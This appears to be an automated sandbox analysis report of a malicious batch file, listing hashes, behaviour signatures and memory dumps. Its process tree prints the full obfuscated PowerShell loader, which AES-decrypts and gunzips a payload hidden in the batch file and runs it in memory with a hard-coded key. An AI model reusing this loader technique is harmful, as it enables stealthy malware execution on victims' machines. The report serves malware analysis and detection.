f9265a0554ffd7971bacbd4335ab32109aa2f8ba7f70dba315f4e1f48674b990

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-02-2025 00:40

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General

Target

test.bat
Size

7.7MB
MD5

22070488e8b05fa3d1555e35cb02e2c4
SHA1

17affd9bceb5b254a65f2b918008118b3e771f5d
SHA256

f9265a0554ffd7971bacbd4335ab32109aa2f8ba7f70dba315f4e1f48674b990
SHA512

2db6d0ea121b100e0a2d69d93062f794ef52332139f67355a808cdf4310265575b17e62e3a6b2fe306a4ed8879a781bd203fc18cda7c074e0ded57c79528f0e6
SSDEEP

49152:E1Knuw9suLZqlYvKn2jUftGqD68t0vgVuX3e/YI7G6YLgkHB6yNKvNBynnHeZhCN:P

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2704	test.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2532	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2704	test.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	test.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2704	2532	cmd.exe	31
PID 2532 wrote to memory of 2704	2532	cmd.exe	31
PID 2532 wrote to memory of 2704	2532	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Users\Admin\AppData\Local\Temp\test.bat.exe
  "test.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $FtZQH = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\test.bat').Split([Environment]::NewLine);foreach ($xmKPG in $FtZQH) { if ($xmKPG.StartsWith(':: ')) { $qlpXv = $xmKPG.Substring(3); break; }; };$CsYzi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qlpXv);$WnTOt = New-Object System.Security.Cryptography.AesManaged;$WnTOt.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WnTOt.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WnTOt.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jm/zWcdAP2yFOo9YRnp6fCODfVseEY1ik7aooNZ0HOA=');$WnTOt.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xIA/Y6iPwDpv7eTUg6ksag==');$WPyEL = $WnTOt.CreateDecryptor();$CsYzi = $WPyEL.TransformFinalBlock($CsYzi, 0, $CsYzi.Length);$WPyEL.Dispose();$WnTOt.Dispose();$MPGtP = New-Object System.IO.MemoryStream(, $CsYzi);$wmJMu = New-Object System.IO.MemoryStream;$NbMhf = New-Object System.IO.Compression.GZipStream($MPGtP, [IO.Compression.CompressionMode]::Decompress);$NbMhf.CopyTo($wmJMu);$NbMhf.Dispose();$MPGtP.Dispose();$wmJMu.Dispose();$CsYzi = $wmJMu.ToArray();$pirKz = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($CsYzi);$URmKi = $pirKz.EntryPoint;$URmKi.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\test.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2704-5-0x000007FEF5CAE000-0x000007FEF5CAF000-memory.dmp

Filesize
4KB

Download
memory/2704-6-0x000000001B450000-0x000000001B732000-memory.dmp

Filesize
2.9MB

Download
memory/2704-7-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2704-8-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-9-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-11-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-10-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download